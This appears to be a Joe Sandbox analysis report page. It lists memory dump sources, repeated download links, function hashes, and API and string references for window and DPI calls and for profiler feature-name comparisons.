Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2aa5c8557c958e29a36bdb6d37a7f8c4c13548492748d97e4c886004242193a
Instruction ID: 16aaa6c7c6b61b3bdd983c149c6b03dd84e95e55bae1b781c8fba8ecbd515eaf
Opcode Fuzzy Hash: d2aa5c8557c958e29a36bdb6d37a7f8c4c13548492748d97e4c886004242193a
Instruction Fuzzy Hash: 2671F9F3A086109FE318AE29DC9577AFBD5EF98310F1A853DDBD993784D93418018782

Function 0137DBAD Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a9eb4e9c505f034c742cabf921fc7a385d52c29265b45dce0cbf3c2501e683a
Instruction ID: 13ada708395217917b3d9514c4efaa5cc854b704acb0b0b44b73c56791326dac
Opcode Fuzzy Hash: 8a9eb4e9c505f034c742cabf921fc7a385d52c29265b45dce0cbf3c2501e683a
Instruction Fuzzy Hash: CD51B4F3A186149BE3456E29DC4676AFBE5EB94320F1A0A3DD6D4C7380D93998418782

Function 0131B3AB Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcdf4eeac8e67181918cf709e265573d6674adb38e3e9b39f9cf37345ab3aa28
Instruction ID: 917821f2033b9bd94622ab78bfa0cb5d1f4d2c34d471772972a3b84c9cc62e87
Opcode Fuzzy Hash: fcdf4eeac8e67181918cf709e265573d6674adb38e3e9b39f9cf37345ab3aa28
Instruction Fuzzy Hash: 4F5106F3B082009FF7089E2DEC5577AB6D6EBD4320F1A853EE685C7380E97948418696

Function 01311EEC Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d7d6ad0629980767397c15a93d91cf68b5f8029514158df6ed44a3b861fad1c
Instruction ID: a19b9c4bbfd7b170550cd46c5d72dda061456b2a2376fff482b3f70ea72cabff
Opcode Fuzzy Hash: 5d7d6ad0629980767397c15a93d91cf68b5f8029514158df6ed44a3b861fad1c
Instruction Fuzzy Hash: BB51B3B3A0C6145BE314BE2DDC85BAAF7D5EF98320F06443DD7C883744EA3558008697

Function 0138CBC6 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d955848e413e75dd1db312eb9ae97b35b293aa33fc3bc44f92c28f0482314bd
Instruction ID: 100ef52621484bc9a3b48d8f706181a41b2a09881733c6c8a5cf4ac8e9b9113f
Opcode Fuzzy Hash: 8d955848e413e75dd1db312eb9ae97b35b293aa33fc3bc44f92c28f0482314bd
Instruction Fuzzy Hash: 73414AF3A0D3049BE3086E3DEC4572AB7DAEB94360F65423DE68483784FDB624054296

Function 0148119D Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5535574858ffc34dc75c2bfe170db434a768182256e6afdc7b14917aaafc9df
Instruction ID: ac95ed726bda46fdd882e7ea50c6ab771bf79f578727090ba65ffc189fb46618
Opcode Fuzzy Hash: c5535574858ffc34dc75c2bfe170db434a768182256e6afdc7b14917aaafc9df
Instruction Fuzzy Hash: AE319FB250C604DFE70ABF28D8866BEFBE4EF58310F06092DD6D582650E7359494CB87

Function 01009750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

LoadIconW, xrefs: 6C6B575B
GetMonitorInfoW, xrefs: 6C6B57A2
GetDpiForWindow, xrefs: 6C6B5690
SetWindowPos, xrefs: 6C6B56F7
MonitorFromWindow, xrefs: 6C6B578D
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
ReleaseDC, xrefs: 6C6B5742
CreateWindowExW, xrefs: 6C6B56C5
EnableNonClientDpiScaling, xrefs: 6C6B5666
DeleteObject, xrefs: 6C6B57F9
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
RegisterClassW, xrefs: 6C6B56AC
user32, xrefs: 6C6B5601
ShowWindow, xrefs: 6C6B56DE
FillRect, xrefs: 6C6B5729
LoadCursorW, xrefs: 6C6B5774
StretchDIBits, xrefs: 6C6B57CC
GetSystemMetricsForDpi, xrefs: 6C6B5677
SetWindowLongPtrW, xrefs: 6C6B57B7
gdi32, xrefs: 6C6B560A
CreateSolidBrush, xrefs: 6C6B57E4
GetWindowDC, xrefs: 6C6B5710

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C69CEA0
markersallthreads, xrefs: 6C69CE42
audiocallbacktracing, xrefs: 6C69CDD4
java, xrefs: 6C69CC37
unregisteredthreads, xrefs: 6C69CE58
cpuallthreads, xrefs: 6C69CE16
mainthreadio, xrefs: 6C69CC7C
preferencereads, xrefs: 6C69CD92
default, xrefs: 6C69CC21
jsallocations, xrefs: 6C69CD0E
noiostacks, xrefs: 6C69CCBE
samplingallthreads, xrefs: 6C69CE2C
power, xrefs: 6C69CE84
screenshots, xrefs: 6C69CCD4
fileio, xrefs: 6C69CC92
seqstyle, xrefs: 6C69CCE6
notimerresolutionchange, xrefs: 6C69CE00
nostacksampling, xrefs: 6C69CD7C
nativeallocations, xrefs: 6C69CDA8
ipcmessages, xrefs: 6C69CDBE
fileioall, xrefs: 6C69CCA8
stackwalk, xrefs: 6C69CCF8
processcpu, xrefs: 6C69CE6E
leaf, xrefs: 6C69CC66

Memory Dump Source

